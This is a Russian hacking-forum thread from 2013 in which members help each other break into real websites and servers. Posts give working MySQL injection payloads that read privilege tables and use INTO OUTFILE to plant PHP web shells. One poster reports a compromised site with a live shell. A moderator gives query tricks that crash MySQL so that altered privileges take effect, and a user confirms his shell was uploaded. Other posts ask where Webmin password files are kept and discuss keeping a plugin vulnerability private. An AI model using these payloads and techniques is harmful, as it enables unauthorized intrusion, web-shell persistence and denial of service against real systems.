Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Evil_Genius

    Evil_Genius Member

    Joined:
    3 Aug 2009
    Messages:
    519
    Likes Received:
    15
    Reputations:
    -4
    Ну вот я делаю по такому плану чтобы узнать file_priv:
    597+and(select+1+from(select+count(*),concat((select+(select+concat(0x7e,0x27,grant_priv,0x27,0x7e))+from+mysql.user+where+user='root'+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+1=1

    Мне выдает:
    Ошибка SQL запроса Duplicate entry '~'Y'~1' for key 'group_key'


    Далее делаю заливку файла:
    597+and(select+1+from(select+count(*),concat((select+(select+concat(0x7e,0x27,'123456',0x27,0x7e))+from+mysql.user+into+outfile+'/var/www/admin/data/www/site.ru/news/images/1.txt'+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+1=1

    На что мне выдает:
    Ошибка SQL запроса You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and' at line 1


    Где ошибка?
     
    #22281 Evil_Genius, 24 Jun 2013
    Last edited: 24 Jun 2013
  2. Ravenous

    Ravenous Elder - Старейшина

    Joined:
    14 Jul 2012
    Messages:
    117
    Likes Received:
    29
    Reputations:
    26
    в blind sql-inj, это делается, как правило таким образом
    Code:
    ?var=data' LIMIT 1 INTO OUTFILE '/home/path/site/shell.php' LINES TERMINATED BY '<?php phpinfo(); ?>'-- 1
     
  3. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Ты узнаешь grant_priv, а не file_priv. И зачем писать запрос для вывода ошибки, если можно выполнить простой подзапрос?
    Code:
    +and(select'123'into+outfile+'/tmp/gg.txt')+and+1=1
    Havij+Sniffer = Bad.


    P.S. Нашел сайт, льется нормально:
    news/images/aa.php?a=phpinfo();
     
    2 people like this.
  4. preno

    preno Member

    Joined:
    5 Sep 2010
    Messages:
    249
    Likes Received:
    6
    Reputations:
    0
    Есть проблема:
    SQL фильтрует скобки () то есть запрос просто останавливается… впринципе возможно раскрутить и без скобок в особом случае, но и тут облом - при выводе из базы она ругается на несоответствующий тип данных, то есть информацию из базы надо конвертировать во что то, а конверт функции разумеется юзают (), поэтому как быть, я затрудняюсь.
    Как быть?
     
    #22284 preno, 24 Jun 2013
    Last edited: 24 Jun 2013
  5. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    Может попробовать на прямую сделать запрос на стандартные пользовательские таблы или как вариант за хексить колонки, там не используются скобки, следущий как вариант попробовать найти подзапрос на вывод таблы, изредко но поподается, если есть префикс при выводе ошибки и знакомая цмс, то оброщайся на прямую, бывают еще такие случаи что подобные ошибки в скулях индексируются ПС, т.е как вариант...
     
    _________________________
    1 person likes this.
  6. preno

    preno Member

    Joined:
    5 Sep 2010
    Messages:
    249
    Likes Received:
    6
    Reputations:
    0
    1) искать подзапросы не вариант, и в нашем случае его однозначно нету.
    2) если найти пользовательские таблицы, то будет тоже самое, инфу выводить как? будет несоответствие типов данных.
    3) по поводу захексить колонки без () это как? непонел. Покажи пример, пожалуйста.
     
  7. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    пример вывода таблиц:
    select 1,2,table_name,3,4 from information_schema.tables limit x,1#

    Пример вывода колонок:
    select 1,2,column_name,3,4 from information_schema.columns where table_name=0x[hex значение таблы юзеров] limit x,1#

    Пример вывода значений из пользовательских табл:
    select 1,2,user,password from [пользовательская табла]
    С хексом бывает, срабатывают изредко такие слечия:

    Пример вывода значений из пользовательских табл:
    select 1,2,0x[user],0x[password0] from [пользовательская табла]
     
    _________________________
    #22287 winstrool, 25 Jun 2013
    Last edited: 25 Jun 2013
  8. preno

    preno Member

    Joined:
    5 Sep 2010
    Messages:
    249
    Likes Received:
    6
    Reputations:
    0
    твой пример:
    select 0x75736572 from table_user выдаст user но никак не информацию из таблицы table_user
     
  9. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    Каждый случай в скулях индивидуальный, тут экстросенсов вроде как нет!!!
     
    _________________________
  10. Грабитель

    Joined:
    5 Mar 2013
    Messages:
    196
    Likes Received:
    12
    Reputations:
    -7
    Жестко.
     
  11. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    вместо 0x75736572 попробуй unhex(hex(user))
     
  12. preno

    preno Member

    Joined:
    5 Sep 2010
    Messages:
    249
    Likes Received:
    6
    Reputations:
    0
    сказано же - нельзя юзать ()
    Вы читайте прежде,чем советовать.
     
  13. system331

    system331 New Member

    Joined:
    18 Dec 2008
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    С одного шелла подключился с БД другого сервера, у юзера под которым подключился file_priv=N, но можно изменять данные в БД mysql.user изменил file_priv на Y, но шелл всё равно не заливается. пишет что для моего юзера не хватает прав. Что можно предпринять?
     
    #22293 system331, 25 Jun 2013
    Last edited: 25 Jun 2013
  14. KolosJey

    KolosJey Member

    Joined:
    21 Dec 2009
    Messages:
    45
    Likes Received:
    42
    Reputations:
    48
    Эта пять!

    preno, если нужна конвертация - то нужны и скобки. Ничего ты тут не сделаешь, если фильтрует их ваф грамотно. Вопрос в другом, это дествительно ваф? Он дествительно нормально фильтрует? Или это в коде проверка, или что это?

    Ну и второй вариант - искать поле вывода, в котором данные нужного типа, а тут как это не странно гений хака даёт единственный правильный ответ за всю историю своих постов :D :
    а я, к своему прискорбию, вынужден заметить, что был не прав, и у него бывают удачные посты!
     
  15. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Нужно обновить привелегии. Как это сделать - я писал в своём небольшом обзоре тут

    На всякий случай - вот копипаст



    Итак, если нам вдруг понадобится срочно перезагрузить MySQL, а прав на RELOAD нет, чтобы выполнить

    FLUSH PRIVILEGES;

    нам могут помочь следующие способы:

    Способ №1:

    Самый старый из найденных мной, но ни разу нигде не сработавших.

    Тем не менее человек на этом форуме утверждает, что это возможно...

    Тема 2008 года =)

    Кратко: MySQL падает так как надо указывать имя триггера в виде `mydb`.`mytrigger`, а не просто mytrigger.

    Code:
    mysql> CREATE TRIGGER mytrigger AFTER INSERT
        ->     ON `mydb`.`mytable` FOR EACH ROW
        -> BEGIN END;
    ERROR 2013 (HY000): Lost connection to MySQL server during query
    mysql>
    OC = Windows XP SP 2
    MySQL 5.0.16



    Результат - Способ не отработал.


    Способ №2:

    Заключается в эксплуатации бага #63775

    Кратко: MySQL падает при чтении заголовка, следующего за удалённой записью.

    Code:
    #
    # Bug#13510739 63775: SERVER CRASH ON HANDLER READ NEXT AFTER DELETE RECORD.
    #
     
    -- source include/have_innodb.inc
     
    CREATE TABLE bug13510739 (c INTEGER NOT NULL, PRIMARY KEY (c)) ENGINE=INNODB;
     
    INSERT INTO bug13510739 VALUES (1), (2), (3), (4);
     
    DELETE FROM bug13510739 WHERE c=2;
     
    HANDLER bug13510739 OPEN;
     
    HANDLER bug13510739 READ `primary` = (2);
     
    # this one crashes the server IF the bug IS present
    HANDLER bug13510739 READ `primary` NEXT;
     
    DROP TABLE bug13510739;

    На оффициальном сайте говорится, что пофиксено начиная с версии 5.1.62

    Решил испытать на своей системе, где версия MySQL 5.1.61.

    Зависимости:

    MySQL < 5.1.62

    Результат - падения MySQL не выявлено


    Способ №3:

    Вроде как найден участником форума Light

    Code:
    select 1 from table procedure analyse ((select 1 from (select 1)a),1);
    Скрины ниже.
    Зависимости:

    MySQL > 3

    Результат - успешный перезапуск MySQL. PROFIT !!!
     
    _________________________
  16. system331

    system331 New Member

    Joined:
    18 Dec 2008
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    BigBear, спасибо, шелл залит.

    Сервак на фряхе, gcc нет, Кто-нибудь подскажетт как скомпилировать исходники сплойта под freebsd из под debian :))
     
  17. Br@!ns

    Br@!ns Elder - Старейшина

    Joined:
    3 Sep 2010
    Messages:
    916
    Likes Received:
    120
    Reputations:
    25
    Где хранятся файлы паролей от админки Webmin на сервере? и какой алгоритм там?
     
  18. trololoman96

    trololoman96 Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    120
    Likes Received:
    34
    Reputations:
    55
    Почему кавычки передаваемые через гет, пост могут слешироватся ?
    При этом мэджик квотес офф, смотрел через пхпинфо.
    Переменная эта ничем не обрабатывается, мб гдето в недрах глобально только, ковыряюсь в плагине вордпресса.

    В чем может быть проблема ?
     
  19. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    может быть все таки замена по регулярке идет
     
    _________________________
  20. trololoman96

    trololoman96 Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    120
    Likes Received:
    34
    Reputations:
    55
    В самом плагине я не нашел ничего такого.
    Там где я нашел типа потенциальную иньекцию обрашения происходят либо через файл wp-admin/admin-ajax.php, в клиентской части. И через админку, через edit.php со своим типом страницы и обработчиками в плагине.
    Вот там и происходит экранирование.

    Если интересно, могу скинуть плагин в личку и показать те места что нашел. Единственное попрошу не сливать инфу о плагине в паблик, ибо он платный и достаточно популярный в рунете.
     
Thread Status:
Not open for further replies.